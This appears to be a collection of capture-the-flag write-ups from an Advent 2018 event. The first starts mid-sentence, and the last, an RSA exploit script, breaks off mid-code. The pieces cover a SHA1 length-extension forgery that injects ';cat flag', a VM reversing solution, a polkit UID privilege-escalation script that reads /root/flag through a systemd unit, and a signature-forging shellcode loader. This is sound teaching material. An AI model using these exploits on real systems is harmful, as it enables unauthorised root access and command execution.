set out to do two things - craft an arbitrary encrypted message of my choice and then turn an existing MAC into a MAC for that message using the length extension attack. ## Creating Encrypted Messages This initially didn't seem too difficult as most messages were just straight encrypted into bytes/blocks. However, all bytes above 0x80 were not encoded correctly. Knowing that I would HAVE to have a message with byte value 0x80 in it for the length extension attack this proved a major hurdle that I didn't get until much later. The remainder of this section will only discuss HEXDATA1, the first part of the redirected URL. First off, the basics. Creating simple messages encodes easily. Some examples (note the block repeats) ```a0ecebbccf8f94dc35e009135329e006 <- A (block1=A+pad)00fdf8515bb615b95f735872b096c72b 4ec388f0c7d2e0ca1c56b2d815676d04 <- AAAAAAAAAAAAAAAA (block1=A*16, block2=pad)00fdf8515bb615b95f735872b096c72b a0ecebbccf8f94dc35e009135329e006 <- AAAAAAAAAAAAAAAAA (block1=A*16, block2=A+pad)00fdf8515bb615b95f735872b096c72b 00fdf8515bb615b95f735872b096c72b a0ecebbccf8f94dc35e009135329e006 <- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (block1 = A*16, block2=A*16, block3=A+pad)``` This showed me that the encrypted blocks were really in ECB mode and revealed some padded blocks. After trying mostly ASCII characters, this doesn't work _quite_ as well. To determine the padding I tried getting PKCS5 pads in known locations, and eventually this worked: ```0c13ddddc6a21c297e81fd8005ac9c07 <- \x103e80d3b980bc98e8a58cc7938721df60 a60241c7141435cb2ef5617aefa92110 <- \x10 * 163e80d3b980bc98e8a58cc7938721df60 4ec388f0c7d2e0ca1c56b2d815676d04 a60241c7141435cb2ef5617aefa92110 <- \x10 * 32``` As you can see, the first block (`3e80d3b980bc98e8a58cc7938721df60`) does not seem to align with what I expected the padding to be, but the middle block of the last attempt (`4ec388f0c7d2e0ca1c56b2d815676d04`). After some experimenting with various blocks, sizes, and configurations, it became apparent that any non-alphanumeric string was escaped with a quote (`'`) in the first and last character, so `\x10 * 16` is really encoded as `' + \x10 * 16 + '`. With this in mind, I can still get (mostly) any arbitrary string in the right position if i prefix it with 15 characters (for example `A * 15`) to force it into the second block. Even with this, there are two more cases where this break. First, escaping a single quote with a single quote obviously doesn't work. A lot of testing revealed that a single quote was escaped as five characters plus the single quote on the beginning and end of the string. At first I thought I was onto something with a flag, but alas it turned out to be a slick encoding. I'll skip to the end - a single quote is encoded as the characters `'"'"'`. This works well on the command line - it basically ends the single quote string, makes a double quote string with one character, and starts the single quote string again. Simple command line experimentation shows that this effectively escapes quotes (to prevent command injection): ```$ cowsay 'no";injection'"'"';found";here' ____________________________< no";injection';found";here > ---------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||``` And lastly, the trickiest part were all the characters above 0x80. Simple encodings showed that these always encoded to the same string: ```6220e26095a4a5af3a101d953d2e4b0c b'\x80'6220e26095a4a5af3a101d953d2e4b0c b'\x81'6220e26095a4a5af3a101d953d2e4b0c b'\xff'cd2ea39542d0e3d3d487e8f43d956aec 7860755feef86cafa5706bf672dfc43c b'\x80\x80\x80\x80\x80'cd2ea39542d0e3d3d487e8f43d956aec 7860755feef86cafa5706bf672dfc43c b'\x81\x81\x81\x81\x81'cd2ea39542d0e3d3d487e8f43d956aec 7860755feef86cafa5706bf672dfc43c b'\xff\xff\xff\xff\xff'cd2ea39542d0e3d3d487e8f43d956aec 30bde148dca5da2b8d9af3c500d90150 4ec388f0c7d2e0ca1c56b2d815676d04 b'\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80'cd2ea39542d0e3d3d487e8f43d956aec 30bde148dca5da2b8d9af3c500d90150 4ec388f0c7d2e0ca1c56b2d815676d04 b'\x81\x81\x81\x81\x81\x81\x81\x81\x81\x81'cd2ea39542d0e3d3d487e8f43d956aec 30bde148dca5da2b8d9af3c500d90150 4ec388f0c7d2e0ca1c56b2d815676d04 b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'``` This is absolutely no help if you need to encode a `\x80` for the second part of the challenge. Furthermore, it appears that each of these is encoded to three characters with no idea what those three bytes actually are. (Note: In retrospect looking at the returned HTML, these bytes are printed in HTML as `\xc3\xaf\xc2\xbf\xc2\xbd` which UTF-8 decodes as the three bytes `\xef\xbf\xbd` which google suggests is "U+FFFD REPLACEMENT CHARACTER" /shrug). Anyways, after a LOT of trying and thinking about the problem I was stuck. I slept on it and the next day realized that I should try a valid UTF-8 string instead of just single bytes. This turns out to work! That is, bytes like `\xc2\x80` encode to themselves! With this in mind, I can encrypt a string like the following to construct a block which starts with the `\x80` character: ```b29f969eec978a21c756d1135a6a1fef 'AAAAAAAAAAAAAA\xc232905a2b12518533501085bb90697ca6 \x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x007860755feef86cafa5706bf672dfc43c ' + pad``` Given the slow drip of solves for Cryptocow and the low solve count in the competition the importance of this UTF-8 encoding trick can't be understated. Figuring this out is pretty much critical for solving the problem as a whole. ## Constructing a Hash Extension I could've started from scratch doing this, but a little google searching found a [github project hlextend](https://github.com/stephenbradshaw/hlextend) which did the trick. For this I tried a lot of different parameters, but it turned out to be rather simple: ```pythonimport hlextendsha = hlextend.new('sha1')ext = sha.extend(';cat flag','AAAAAAAAAAAAAAAA',16,'99947b7f062484ee5042fde51722e83110bd0e87',raw=True)ext = 'AAAAAAAAAAAAAAAA\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00;cat flag\x07\x07\x07\x07\x07\x07\x07' mac = sha.hexdigest()mac = 'ee8ea7dc16fb01e7babefcedb67200e1416e8078'``` Using the prior work creating arbitrary blocks of my choice, it was a simple exercise to construct an encrypted block for each of the 16-byte chunks in `ext` above and submit the answer. ## Solution [http://18.205.93.120:1216/00fdf8515bb615b95f735872b096c72b32905a2b12518533501085bb90697ca686673d04864699cfbc3b30177e711664a7df11dbdc8a5347a951bcd97f6f7602/ee8ea7dc16fb01e7babefcedb67200e1416e8078](http://18.205.93.120:1216/00fdf8515bb615b95f735872b096c72b32905a2b12518533501085bb90697ca686673d04864699cfbc3b30177e711664a7df11dbdc8a5347a951bcd97f6f7602/ee8ea7dc16fb01e7babefcedb67200e1416e8078) ![Cowsay 'Moo!'](./images/cowsay_solve.png)
> Time to start packing those presents for the holidays! We found this packed gift for you to open with the correct passphrase... Quickly after opening this binary it becomes apparent that it is a VM executing custom bytecode using a central dispatcher loading the next instruction and just using a big jumptable to execute them. It is a kind of stack-machine but has some "heap" space to save variables. So time to brew some coffe and get started reversing! I just stepped through the execution of each VM-instruction writing a dissasembler in python as i went along. Coloring the dispatcher graph in IDA to keep my sanity and see that i was indeed making progress, this picture is a couple of hours in: ![Reversing the VM instructions](https://www.sigflag.at/assets/posts/jackinthebox/halfway.png) ## Custom VM analysis with `radare2` First disable aslr for ease of revesing with `echo 0 | sudo tee /proc/sys/kernel/randomize_va_space`. To start, we analyze the binary, continue until main, then after stack variables are setup and extend the main function to include the blocks executing the VM instructions. ```aadcu maindcu 0x555555554752db 0x555555554752afb+ 0x5555555546ca 0x555555554782 0x88e```Then we rename the local variables and code locations to make the disassembly more readable. ```afvn loc_argc local_174hafvn loc_argv local_180hafvn loc_envp local_188hafvn stackcookie local_8h afn nopfunc @ 0x555555555010 f glob_argc @ 0x5555557561e0f glob_argv @ 0x5555557561d8f glob_envp @ 0x5555557561e8 afvn loc_flag local_164hafvn loc_stack local_150hafvn loc_sp local_160hafvn loc_ip local_158h f jumptable @ 0x5555555550b0f continue @ 0x555555555004f program @ 0x555555756020``` Lastly we rename the memory locations used for VM execution ```f sp @ rbp-0x160f ip @ rbp-0x158f stack @ rbp-0x150f heap @ rbp-0x50``` ### setup `V!` modeWhat really sped up reversing the VM instructions was a custom panel setup for the visual panel mode `V!`. The panels show the VM instruction pointer, the next part of the VM program, the VM stack and heap area. `X` close current panel`-` split panel`e` change name + commanduse `w` to into window mode move with `hjlkl`resize with `HJ` #### VM instruction pointer`?v [ip] - program` #### Next VM instruction`px 9 @ [ip]` #### VM Stack area`pxQ 0x60 @ sp` #### VM heap area`pxQ 0x60 @ heap` This leads to the view shown here: ![Radare2 VM Panels](https://www.sigflag.at/assets/posts/jackinthebox/vm-radare2.png) ### Break on specific VM instructions What we can also do to greatly help reversing this kind of VM is breaking on specific VM instructions using `radare2` [conditional breakpoints](https://github.com/radare/radare2/blob/master/doc/debug.md)We break at the point where the next byte of the VM program is moved into `eax` and compare the offset used with the VM-instruction we want to break at. #### Example: break after first loop ``` f vm_ip=`?v [ip] - program`f test=`vi vm_ip-0x89`e cmd.hitinfo=0(break_vmip,f vm_ip=`?v [ip] - program`,f test=`?vi vm_ip-0x0a6`,?= test)db 0x555555554755dbC 0x555555554755 .(break_vmip)``` ## We got a disassembly! Finally after reversing every instruction (and too much coffee) we can disassemble the whole program executed by the VM (please excuse my mnemonics): ```0x000: cb 18000000 pushvar 0x180x005: 15 01000000 pushd 0x10x00a: dc signe0x00b: 14 0800000000000000 pushq 0x80x014: 18 mult0x015: df 01000000 push **argv0x01a: 13 deref0x01b: b0 add0x01c: 13 deref0x01d: 6f nop0x01e: 23 storeup0x01f: 14 0000000000000000 pushq 0x00x028: cb 20000000 pushvar 0x200x02d: 89 storedn0x02e: d9 04000000 jump 0x330x033: cb 18000000 pushvar 0x180x038: 13 deref0x039: d3 getchar0x03a: 02 extbd0x03b: 15 00000000 pushd 0x00x040: d6 ne0x041: e2 0e000000 jnz 0x500x046: d9 04000000 jump 0x4b0x04b: d9 5a000000 jump 0xa60x050: cb 20000000 pushvar 0x200x055: 52 deref0x056: cb 20000000 pushvar 0x200x05b: 52 deref0x05c: 15 10000000 pushd 0x100x061: 37 shl0x062: cb 20000000 pushvar 0x200x067: 52 deref0x068: 15 06000000 pushd 0x60x06d: 37 shl0x06e: cb 18000000 pushvar 0x180x073: 13 deref0x074: d3 getchar0x075: ed extbq0x076: fd add0x077: fd add0x078: c2 sub0x079: cb 20000000 pushvar 0x200x07e: 89 storedn0x07f: cb 18000000 pushvar 0x180x084: 15 01000000 pushd 0x10x089: dc signe0x08a: 14 0100000000000000 pushq 0x10x093: 18 mult0x094: cb 18000000 pushvar 0x180x099: 13 deref0x09a: 24 add0x09b: 23 storeup0x09c: d9 96ffffff jump 0x330x0a1: d9 91ffffff jump 0x330x0a6: 14 0000000000000000 pushq 0x00x0af: cb 28000000 pushvar 0x280x0b4: 89 storedn0x0b5: cb 18000000 pushvar 0x180x0ba: 15 01000000 pushd 0x10x0bf: dc signe0x0c0: 14 0800000000000000 pushq 0x80x0c9: 18 mult0x0ca: df 01000000 push **argv0x0cf: 13 deref0x0d0: b0 add0x0d1: 13 deref0x0d2: 6f nop0x0d3: 23 storeup0x0d4: d9 04000000 jump 0xd90x0d9: cb 18000000 pushvar 0x180x0de: 13 deref0x0df: d3 getchar0x0e0: 02 extbd0x0e1: 15 00000000 pushd 0x00x0e6: d6 ne0x0e7: e2 0e000000 jnz 0xf60x0ec: d9 04000000 jump 0xf10x0f1: d9 53000000 jump 0x1450x0f6: cb 28000000 pushvar 0x280x0fb: 52 deref0x0fc: 15 05000000 pushd 0x50x101: 37 shl0x102: cb 28000000 pushvar 0x280x107: 52 deref0x108: 15 1b000000 pushd 0x1b0x10d: 10 shr0x10e: 9f xor0x10f: cb 18000000 pushvar 0x180x114: 13 deref0x115: d3 getchar0x116: ed extbq0x117: 9f xor0x118: cb 28000000 pushvar 0x280x11d: 89 storedn0x11e: cb 18000000 pushvar 0x180x123: 15 01000000 pushd 0x10x128: dc signe0x129: 14 0100000000000000 pushq 0x10x132: 18 mult0x133: cb 18000000 pushvar 0x180x138: 13 deref0x139: 24 add0x13a: 23 storeup0x13b: d9 9dffffff jump 0xd90x140: d9 98ffffff jump 0xd90x145: cb 20000000 pushvar 0x200x14a: 52 deref0x14b: 14 195e213490d199fa pushq 0xfa99d19034215e190x154: 5f cmp0x155: e2 09000000 jnz 0x15f0x15a: d9 34000000 jump 0x18f0x15f: cb 28000000 pushvar 0x280x164: 52 deref0x165: 14 9b62b71f8ee30900 pushq 0x9e38e1fb7629b0x16e: 5f cmp0x16f: e2 09000000 jnz 0x1790x174: d9 1a000000 jump 0x18f0x179: cb 30000000 pushvar 0x300x17e: c1 00000000 loadstr 0x000x183: 6f nop0x184: 23 storeup0x185: 28 01000000 printf 0x010x18a: d9 04000000 jump 0x18f0x18f: cb 38000000 pushvar 0x380x194: 15 00000000 pushd 0x00x199: 92 storeupdw0x19a: d9 04000000 jump 0x19f0x19f: cb 38000000 pushvar 0x380x1a4: 3d derefdw0x1a5: b5 exit``` ## Decompile the VM programI then manually translated this program into C and confirmed correcteness of my C version by inspecting the real binary with `radare2`We can now see clearly that the program takes our input and computes 2 different hash values from it which both have to match expected values. ```#include <stdio.h>#include <inttypes.h> int main(int argc, char *argv[]) { char *input = argv[1]; char *inpt = input; uint64_t hsh1 = 0x0; printf("LOOP1\n"); uint64_t shf1; uint64_t shf2; uint64_t add1; uint64_t add2; while ( *inpt != 0x00) { printf("inpchar:\t%x\n", inpt[0]); shf1 = hsh1 << 0x10; shf2 = hsh1 << 0x06; add1 = shf1 + shf2; add2 = add1 + inpt[0]; hsh1 = add2 - hsh1; inpt++; printf("hsh1:\t 0x%.16" PRIx64 "\n", hsh1); } printf("\nLOOP 2\n"); inpt = input; uint64_t hsh2 = 0x0; uint64_t xor; while ( *inpt != 0x00) { printf("inpchar:\t%x\n", inpt[0]); shf1 = hsh2 << 0x05; shf2 = hsh2 >> 0x1b; xor = shf1 ^ shf2; hsh2 = inpt[0] ^ xor; inpt++; printf("hsh2:\t 0x%.16" PRIx64 "\n", hsh2); } if(hsh1 == 0xfa99d19034215e19) { if(hsh2 == 0x9e38e1fb7629b) { printf("You win!\n"); } } return 0;}```## Solving the VM program I did not try to bruteforce this or manually reverse the algorithms but rather translated the pogram into SMT2 and threw it into [`boolector`](https://boolector.github.io/) (the better and faster `z3`) ```; input bounds(declare-const lower (_ BitVec 64))(assert (= lower #x0000000000000020))(declare-const upper (_ BitVec 64))(assert (= upper #x000000000000007A)) ; start(declare-const r00 (_ BitVec 64))(assert (= r00 #x0000000000000000))(declare-const s00 (_ BitVec 64))(assert (= s00 #x0000000000000000))(declare-const i01 (_ BitVec 64))(assert (and (bvule i01 upper) (bvuge i01 lower)))(declare-const s01 (_ BitVec 64))(declare-const r01 (_ BitVec 64))(assert (= r01 (bvxor (bvxor (bvshl r00 #x0000000000000005) (bvlshr r00 #x000000000000001b)) i01)))(assert (= s01 (bvsub (bvadd (bvadd (bvshl s00 #x0000000000000010) (bvshl s00 #x0000000000000006)) i01) s00) ))(declare-const i02 (_ BitVec 64))(assert (and (bvule i02 upper) (bvuge i02 lower)))(declare-const s02 (_ BitVec 64))(declare-const r02 (_ BitVec 64))(assert (= r02 (bvxor (bvxor (bvshl r01 #x0000000000000005) (bvlshr r01 #x000000000000001b)) i02)))(assert (= s02 (bvsub (bvadd (bvadd (bvshl s01 #x0000000000000010) (bvshl s01 #x0000000000000006)) i02) s01) ))(declare-const i03 (_ BitVec 64))(assert (and (bvule i03 upper) (bvuge i03 lower)))(declare-const s03 (_ BitVec 64))(declare-const r03 (_ BitVec 64))(assert (= r03 (bvxor (bvxor (bvshl r02 #x0000000000000005) (bvlshr r02 #x000000000000001b)) i03)))(assert (= s03 (bvsub (bvadd (bvadd (bvshl s02 #x0000000000000010) (bvshl s02 #x0000000000000006)) i03) s02) ))(declare-const i04 (_ BitVec 64))(assert (and (bvule i04 upper) (bvuge i04 lower)))(declare-const s04 (_ BitVec 64))(declare-const r04 (_ BitVec 64))(assert (= r04 (bvxor (bvxor (bvshl r03 #x0000000000000005) (bvlshr r03 #x000000000000001b)) i04)))(assert (= s04 (bvsub (bvadd (bvadd (bvshl s03 #x0000000000000010) (bvshl s03 #x0000000000000006)) i04) s03) ))(declare-const i05 (_ BitVec 64))(assert (and (bvule i05 upper) (bvuge i05 lower)))(declare-const s05 (_ BitVec 64))(declare-const r05 (_ BitVec 64))(assert (= r05 (bvxor (bvxor (bvshl r04 #x0000000000000005) (bvlshr r04 #x000000000000001b)) i05)))(assert (= s05 (bvsub (bvadd (bvadd (bvshl s04 #x0000000000000010) (bvshl s04 #x0000000000000006)) i05) s04) ))(declare-const i06 (_ BitVec 64))(assert (and (bvule i06 upper) (bvuge i06 lower)))(declare-const s06 (_ BitVec 64))(declare-const r06 (_ BitVec 64))(assert (= r06 (bvxor (bvxor (bvshl r05 #x0000000000000005) (bvlshr r05 #x000000000000001b)) i06)))(assert (= s06 (bvsub (bvadd (bvadd (bvshl s05 #x0000000000000010) (bvshl s05 #x0000000000000006)) i06) s05) ))(declare-const i07 (_ BitVec 64))(assert (and (bvule i07 upper) (bvuge i07 lower)))(declare-const s07 (_ BitVec 64))(declare-const r07 (_ BitVec 64))(assert (= r07 (bvxor (bvxor (bvshl r06 #x0000000000000005) (bvlshr r06 #x000000000000001b)) i07)))(assert (= s07 (bvsub (bvadd (bvadd (bvshl s06 #x0000000000000010) (bvshl s06 #x0000000000000006)) i07) s06) ))(declare-const i08 (_ BitVec 64))(assert (and (bvule i08 upper) (bvuge i08 lower)))(declare-const s08 (_ BitVec 64))(declare-const r08 (_ BitVec 64))(assert (= r08 (bvxor (bvxor (bvshl r07 #x0000000000000005) (bvlshr r07 #x000000000000001b)) i08)))(assert (= s08 (bvsub (bvadd (bvadd (bvshl s07 #x0000000000000010) (bvshl s07 #x0000000000000006)) i08) s07) ))(declare-const i09 (_ BitVec 64))(assert (and (bvule i09 upper) (bvuge i09 lower)))(declare-const s09 (_ BitVec 64))(declare-const r09 (_ BitVec 64))(assert (= r09 (bvxor (bvxor (bvshl r08 #x0000000000000005) (bvlshr r08 #x000000000000001b)) i09)))(assert (= s09 (bvsub (bvadd (bvadd (bvshl s08 #x0000000000000010) (bvshl s08 #x0000000000000006)) i09) s08) ))(declare-const i10 (_ BitVec 64))(assert (and (bvule i10 upper) (bvuge i10 lower)))(declare-const s10 (_ BitVec 64))(declare-const r10 (_ BitVec 64))(assert (= r10 (bvxor (bvxor (bvshl r09 #x0000000000000005) (bvlshr r09 #x000000000000001b)) i10)))(assert (= s10 (bvsub (bvadd (bvadd (bvshl s09 #x0000000000000010) (bvshl s09 #x0000000000000006)) i10) s09) )) (assert (= s10 #xfa99d19034215e19))(assert (= r10 #x0009e38e1fb7629b)) (check-sat)(get-model)``` ```$ boolector -m -x jackinthebox.smt2 | grep " i" (define-fun i01 () (_ BitVec 64) #x000000000000004d) (define-fun i02 () (_ BitVec 64) #x0000000000000040) (define-fun i03 () (_ BitVec 64) #x0000000000000072) (define-fun i04 () (_ BitVec 64) #x0000000000000079) (define-fun i05 () (_ BitVec 64) #x000000000000002d) (define-fun i06 () (_ BitVec 64) #x0000000000000058) (define-fun i07 () (_ BitVec 64) #x000000000000006d) (define-fun i08 () (_ BitVec 64) #x0000000000000061) (define-fun i09 () (_ BitVec 64) #x0000000000000035) (define-fun i10 () (_ BitVec 64) #x0000000000000035)...``` Now we just need to translate the values into ascii and wrap it in `AOTW{}` to get our flag! ```In [2]: binascii.unhexlify("4d4072792d586d613535") Out[2]: b'M@ry-Xma55'``` All in all it was very time consuming and there is probably a faster way to solve this but a lot was learned!
# Naughtykit - Pwn/misc (100) O'boy, o'boy was this kit naughty this year or what. There's no present for him for sure! But .. what if he's too naughty? Service: ssh -p 1217 [email protected] (password: naughtykit) ## Analysis This should have been more obvious than it was for me, but I wasn't as familiar with recent CVEs as I needed to be. Some initial analysis of the box gives us a high UID value and a Debian OS. ```$ ssh -p 1217 [email protected][email protected]'s password: Linux version 4.9.18-otw (root@vblx03) (gcc version 6.3.0 20170516 (Debian 6.3.0-18+deb9u1) ) #15 Fri Dec 7 16:31:26 CET 2018...Welcome to Debian GNU/Linux 9 (stretch)! ... _ _[_]_ (") `--( : )--' ( : ) jgs ""`-...-'"" username: elfpassword: elf You've been a naughty kit, ho-ho-hoo! northpole login: elf (automatic login) Linux northpole 4.9.18-otw #15 Fri Dec 7 16:31:26 CET 2018 x86_64elf@northpole:~$ elf@northpole:~$ cat /etc/os-release PRETTY_NAME="Debian GNU/Linux 9 (stretch)"NAME="Debian GNU/Linux"VERSION_ID="9"VERSION="9 (stretch)"ID=debianHOME_URL="https://www.debian.org/"SUPPORT_URL="https://www.debian.org/support"BUG_REPORT_URL="https://bugs.debian.org/"elf@northpole:~$ iduid=4020181224(elf) gid=100(users) groups=100(users)``` Some hints after the competition pointed me to the following links: * [gitlab: unprivileged users with UID > INT_MAX can successfully execute any systemctl command](https://gitlab.freedesktop.org/polkit/polkit/issues/74)* [github: unprivileged users with UID > INT_MAX can successfully execute any systemctl command](https://github.com/systemd/systemd/issues/11026)* [CVE-2018-19788 Detail](https://nvd.nist.gov/vuln/detail/CVE-2018-19788)* [github: Silly easy exploit for CVE-2018-19788](https://github.com/AbsoZed/CVE-2018-19788) Enough experimenting shows that the 'elf' user we start with can indeed run `systemctl` commands which we should probably use to privesc and read whatever is in `/root/` ## Solution Login and copy/paste the following: ```bashcat <<EOF > /home/elf/pwn.sh#!/bin/sh ls -al /root/ > /home/elf/root_dircat /root/flag > /home/elf/flagEOF chmod 777 /home/elf/pwn.sh cat <<EOF > /home/elf/pwn.service[Unit]Description=pwnAfter=network.target [Service]ExecStart=/home/elf/pwn.shExecReload=/home/elf/pwn.shRestart=on-failureRuntimeDirectoryMode=0755 [Install]WantedBy=multi-user.targetAlias=pwn.serviceEOF systemctl enable /home/elf/pwn.servicesystemctl start pwn.service cat flag``` This eventually gets you the following: ```bash...elf@northpole:~$ systemctl enable /home/elf/pwn.service (process:162): GLib-GObject-WARNING **: value "-274786072" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'**ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)Created symlink /etc/systemd/system/pwn.service → /home/elf/pwn.service.Created symlink /etc/systemd/system/multi-user.target.wants/pwn.service → /home/elf/pwn.service.elf@northpole:~$ systemctl start pwn.service (process:179): GLib-GObject-WARNING **: value "-274786072" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'**ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)elf@northpole:~$ lltotal 12drwx------ 2 elf users 1024 Dec 28 05:21 .drwxr-xr-x 3 root root 1024 Dec 6 23:48 ..lrwxrwxrwx 1 root root 9 Dec 7 00:54 .bash_history -> /dev/null-rw-r--r-- 1 elf users 220 May 15 2017 .bash_logout-rw-r--r-- 1 elf users 3526 May 15 2017 .bashrc-rw-r--r-- 1 elf users 675 May 15 2017 .profile-rw-r--r-- 1 root root 29 Dec 28 05:21 flag-rw-r--r-- 1 elf users 213 Dec 28 05:21 pwn.service-rwxrwxrwx 1 elf users 78 Dec 28 05:21 pwn.sh-rw-r--r-- 1 root root 266 Dec 28 05:21 root_direlf@northpole:~$ cat flag AOTW{INtEgerzRhARds0mETIm35}```
# easteregg3 - web (50) I only got this one after the fact. It was found in the 25 challenge trophy image (which only was seen after 25 challenges). Filtering my Burpsuite history showed this right away. ![trophy_25.png](https://advent2018.overthewire.org/static/img/trophies/trophy_25.png) ![trophy_25.png](./static/trophy_25.png) ```$ curl -s https://advent2018.overthewire.org/static/img/trophies/trophy_25.png | strings -15AOTW{Always_take_a_banana_to_a_party}```
1. leak canary, stack address and libc.address using format string bug in router();2. with known canary and libc.address, we're able to ROP.3. I just want to send my payload using requests.get(), so I make a mprotect(stack, 0x1000, 7) and using rop then jump to my shellcode. exploit [here](https://github.com/bash-c/pwn_repo/blob/master/X-MAS2018_I_want_that_toy/solve.py) Follow [me](https://github.com/bash-c) if you like this writeup :)
# easteregg2 - web (50) I only got this one after the fact with a large hint from hpmv2. It was found base64 encoded in one of the included scripts ```$ curl https://advent2018.overthewire.org/static/js/app.js ... var checkNewChallenges = function() { var lockedcount = 0; for (var i = 0; i < $scope.challenges.length; i++) { if($scope.challenges[i]["state"] == "locked") { lockedcount += 1; } } console.log("scope lockedcount = "+$scope.lockedCount+" and lockedcount = "+lockedcount); if(lockedcount != $scope.lockedCount) { if($scope.lockedCount != -1) { if(localStorage.getItem("gfx") != 2) { var audio = new Audio('/static/audio/santabells.mp3'); audio.play(); $scope.showsanta = true; $("#santa").html(atob("PHA+QU9UV3tKaW5nbGVfQWxsX1RoZV9XYXkhISExfTwvcD4=")); console.log("GFX enabled"); } else { console.log("GFX disabled"); } console.log("Detected new unlocked challenges"); } $scope.lockedCount = lockedcount; } } ...``` The base64 blob in the middle there decodes as the flag: ```$ echo 'PHA+QU9UV3tKaW5nbGVfQWxsX1RoZV9XYXkhISExfTwvcD4=' | base64 -DAOTW{Jingle_All_The_Way!!!1}``` AOTW{Jingle_All_The_Way!!!1}
# Naughty or nice - Pwn/crypto (300) Santa was fed up of getting letters from children, so he made a network service instead. He also hired a cryptographer to keep any naughty children out! Service: nc 18.205.93.120 1214 Download: [WTnaMqWfC3gc6CDspAv69teSyh0mIA7Y-naughty_or_nice.tar.xz](https://s3.amazonaws.com/advent2018/WTnaMqWfC3gc6CDspAv69teSyh0mIA7Y-naughty_or_nice.tar.xz)or [WTnaMqWfC3gc6CDspAv69teSyh0mIA7Y-naughty_or_nice.tar.xz](./static/WTnaMqWfC3gc6CDspAv69teSyh0mIA7Y-naughty_or_nice.tar.xz) ## Disassembly The actual length of this disassembly is not too long. However, that didn't stop me from missing a pretty obvious (in restrospect) byte overwrite. Some pseudocode is as follows: ```N = 0x61c70c0a941a5523ab2dbdaee498153feaee0cad1c6d9dcfea6de37dc8f32d1f7d48752f2d33e331dec1bc9031bed6c5fdb26ceb37fb619ff3b04dd222b6946824e4c25cac41bd9c910578cb2c04a243452f794fc4fbab8ff47adc8d6a00356eaf9bb74bf83ce5c6288fde471f609cb6c21fd670ced64b63736f7475a2a66fdmodulus := [rbp-0x180..-0x100]username := [rbp-0x100..-0xe0]shellcode := [rbp-0xe0..-0xa0]signature := [rbp-0xa0..-0x20] memcpy(modulus,N,0x80) // fixed, described laterprint("Whats your name?")fgets(username,0x20,stdin)username[strlen(username)-1] = (byte)0fread(shellcode,0xc0,stdin) // reads both shellcode and signatureif (signature^65537 % modulus) == sha1(shellcode): print("time to read that latter") jmp shellcodeelse: print("naughty!") exit``` The modulus for this seems to be generated securely (two large primes multiplied together). I tried for a long time to try and factor this using some weak generation method, but couldn't figure it out by the end of the competition. Re-visiting the pseudocode above, you'll notice that there is a line `username[strlen(username)-1] = (byte)0` which, if the username is length zero, will overwrite the last byte of the modulus making it easily factorable. Once we can get this one byte overwrite, the modulus can be factored fairly easily. I chose to use sage to factor and then compute the lambda value (for creating `d` from `e=65537`). ```sageIn [1]: factor(4291357175424564237110181191679171266805916857692283274837219161498339146378077008530105318423169176941683593964880067899985596539028012628220684275340044520366224987841570561173475037537001293930959174171839178050441977323075585946203588506850388578521692857034945770654099238756338520246394723124309026304)Out [1]: 2^9 * 3^2 * 197 * 4727330503807728158830131212633040823733957339357157795356144204625743736756729643138952030482375802997307258580178444792532074585611442281158219952212929753999031686056439651602900977264216385904627544869922952413857578657152850423676753413672964011520124851323394505532311097403256442389306087762079 In [2]: from sage.crypto.util import carmichael_lambdaIn [3]: carmichael_lambda(4291357175424564237110181191679171266805916857692283274837219161498339146378077008530105318423169176941683593964880067899985596539028012628220684275340044520366224987841570561173475037537001293930959174171839178050441977323075585946203588506850388578521692857034945770654099238756338520246394723124309026304)Out [3]: 6353532197117586645467696349778806867098438664096020076958657811016999582201044640378751528968313079228380955531759829801163108243061778425876647615774177589374698586059854891754298913443106822655819420305176448044224585715213430969421556587976463631483047800178642215435426114909976658571227381952232832``` With the lambda value and new (truncated) modulus, its easy enough to create some shellcode, construct the right signature, and submit both to the server. My python code is shown below. ```pythonimport osimport socketimport binasciifrom Crypto.Hash import SHA as SHA1import sysimport gmpyimport time def sha1(data): if type(data) == list: data = bytes(data) elif type(data) == str: data = data.encode('ascii') return SHA1.new(data).hexdigest() def submit_solution(): N = bytes([0x06,0x1c,0x70,0xc0,0xa9,0x41,0xa5,0x52,0x3a,0xb2,0xdb,0xda,0xee,0x49,0x81,0x53,0xfe,0xae,0xe0,0xca,0xd1,0xc6,0xd9,0xdc,0xfe,0xa6,0xde,0x37,0xdc,0x8f,0x32,0xd1,0xf7,0xd4,0x87,0x52,0xf2,0xd3,0x3e,0x33,0x1d,0xec,0x1b,0xc9,0x03,0x1b,0xed,0x6c,0x5f,0xdb,0x26,0xce,0xb3,0x7f,0xb6,0x19,0xff,0x3b,0x04,0xdd,0x22,0x2b,0x69,0x46,0x82,0x4e,0x4c,0x25,0xca,0xc4,0x1b,0xd9,0xc9,0x10,0x57,0x8c,0xb2,0xc0,0x4a,0x24,0x34,0x52,0xf7,0x94,0xfc,0x4f,0xba,0xb8,0xff,0x47,0xad,0xc8,0xd6,0xa0,0x03,0x56,0xea,0xf9,0xbb,0x74,0xbf,0x83,0xce,0x5c,0x62,0x88,0xfd,0xe4,0x71,0xf6,0x09,0xcb,0x6c,0x21,0xfd,0x67,0x0c,0xed,0x64,0xb6,0x37,0x36,0xf7,0x47,0x5a,0x2a,0x66,0xfd]) N = int(binascii.hexlify(N).decode('ascii'),16) N0 = N & ~0xff lN0 = 6353532197117586645467696349778806867098438664096020076958657811016999582201044640378751528968313079228380955531759829801163108243061778425876647615774177589374698586059854891754298913443106822655819420305176448044224585715213430969421556587976463631483047800178642215435426114909976658571227381952232832 E = 65537 D = gmpy.invert(E,lN0) s = socket.socket() s.settimeout(5) s.connect(('18.205.93.120',1214)) val = b'' while not val.endswith(b"What's your name? "): val = val + s.recv(1024) s.send(b'\x00\n') val = b'' while not 